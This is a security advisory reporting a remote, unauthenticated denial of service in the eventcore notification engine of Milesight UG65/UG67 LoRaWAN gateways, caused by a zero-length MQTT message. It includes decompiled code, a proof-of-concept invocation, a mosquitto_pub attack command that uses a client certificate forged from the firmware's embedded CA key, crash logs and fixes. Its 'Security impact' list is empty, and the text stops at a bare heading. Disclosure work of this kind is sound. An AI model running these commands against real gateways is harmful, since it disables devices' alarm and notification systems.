Unauthenticated Remote Denial of Service in eventcore via Zero-Length MQTT Message (NULL Dereference)

Author Details

Field Value
Name n0tduck1e
Org Reverser Space
Email duckie@reverser.space

Disclosure information

Field Value
Vendor Milesight
Product UG65 and UG67 LoRaWAN gateways
Tested firmware 60.0.0.50
Component eventcore (event/alarm/notification engine), reached through the embedded MQTT broker
Vulnerability class CWE-476, NULL Pointer Dereference (remote, unauthenticated denial of service)
Suggested severity High
Discovery date 2026-10-24

Firmware details

Field Value
Vendor Milesight
Firmware version 60.0.0.50
Sha256 010b6f8699b7074d4c3526efdd0451b8becd611501d76d50bbcbad765d9d98b7
Product UG65 and UG67 LoRaWAN gateways
Component /usr/sbin/eventcore (runs as root, libmosquitto 1.6.12 client)

Summary

eventcore is the gateway's event, alarm and notification engine. Its Node-RED/MQTT client ([NR-MQTT], the same client reported for the command injection in MS-04) subscribes to /gateway/notification on the embedded Mosquitto broker. The broker's TLS listener on TCP 18883 authenticates clients with certificates signed by the CA whose private key ships inside the publicly downloadable firmware (MS-01), so anyone holding the firmware image can publish to this topic without any credentials.

The registered mosquitto_message_callback (function at file offset 0x65b8 in eventcore) passes message->payload (struct offset +0x10) directly into a JSON parse wrapper (file offset 0x1f6f8). The wrapper begins with a whitespace-skip loop that dereferences the pointer -- before any NULL check:

/* eventcore @0x65b8 -- mosquitto on_message callback */
root = parse_notify_data_wrapper(message->payload);   /* payload, no NULL check */
if (root == 0)
    syslog(LOG_WARNING, "[NR-MQTT]parse notify data failed: %s\n", message->payload);

/* wrapper @0x1f6f8 */
while (isspace((unsigned char)*s))   /* <-- NULL dereference */
    s++;

libmosquitto 1.6.12 delivers payload == NULL for a zero-length PUBLISH. A single zero-length MQTT message on /gateway/notification therefore dereferences NULL inside the root eventcore process, which dies with SIGSEGV. procd respawns it with an escalating backoff (observed entries grow from seconds to many minutes between respawns), so an attacker can repeat the one-packet publish to keep the alarm/notification subsystem persistently down.

Reproduced 4/4 times, fully deterministic, in the local AArch64 service VM, including a clean single-request reproduction with poc_eventcore_zero_length_dos.py.

Proof of concept

poc_eventcore_zero_length_dos.py (uses the same certificate forgery as the MS-04 chain):

.venv/bin/python poc_eventcore_zero_length_dos.py \
    --ca-cert firmware/60.0.0.50-unpacked/rootfs/etc/ssl/certs/ca-mqtt.crt \
    --ca-key  firmware/60.0.0.50-unpacked/rootfs/etc/ssl/certs/ca-mqtt.key

The manual equivalent, after forging a client certificate from the embedded CA (see the MQTT CA key disclosure):

mosquitto_pub -h <gateway> -p 18883 --cafile ca-mqtt.crt \
    --cert client.crt --key client.key -t /gateway/notification -n -q 1

(-n = zero-length message.)

Observed result (service VM, 4/4)

daemon.notice mosquitto[722]: Client Eventcore_pub_Node-RED closed its connection.
daemon.info   procd: Instance eventalarm::instance1 s in a crash loop 4 crashes, 314 seconds since last crash

eventcore dies at the exact second the zero-length message is delivered. Near-miss payloads -- " ", null, {}, [], {"notification":null}, non-JSON text, deeply nested and oversize JSON -- are all handled cleanly (logged warnings), confirming the trigger is specifically the zero-length message (NULL payload), found by fuzzing the handler with ~180 structured mutations (fuzz_eventcore_mqtt.py).

Affected assets

/usr/sbin/eventcore            (root; alarm/notification engine)
TCP 18883 -> mosquitto (TLS, require_certificate, CA embedded in firmware, no topic ACLs)
           -> publish zero-length message to /gateway/notification
           -> eventcore mosquitto_message_callback (0x65b8)
           -> parse wrapper (0x1f6f8) isspace(*NULL)  ->  SIGSEGV

Security impact

An unauthenticated attacker on the network (holding the public firmware image, per MS-01) can:

No data is corrupted (pure NULL read dereference); the impact is availability of the notification subsystem. The crash is in a root process, which also makes it a low-quality but nonzero component of any future exploit chain (crash-loop cover traffic, procd thrash).

Attack prerequisites

  1. Network access to the gateway's TCP 18883 (same precondition as MS-01).
  2. Possession of the firmware image to extract the CA private key and forge a client certificate. No gateway credentials of any kind are needed.
  1. Null-check message->payload (and validate payloadlen) before use in the on_message callback -- both in the wrapper (0x1f6f8) and at the handler (0x65b8).
  2. Audit every mosquitto_message_callback consumer in the firmware (eventcore, mqtt_client, lns_pkt_fwd, gps-mqtt) for the same pattern.
  3. Remove the CA private key from the firmware (MS-01) and enforce per-topic ACLs so arbitrary clients cannot publish to /gateway/notification.
  4. Consider treating the payload as (ptr, len) and never as a NUL-terminated string; libmosquitto does not terminate payloads.

Notes on scope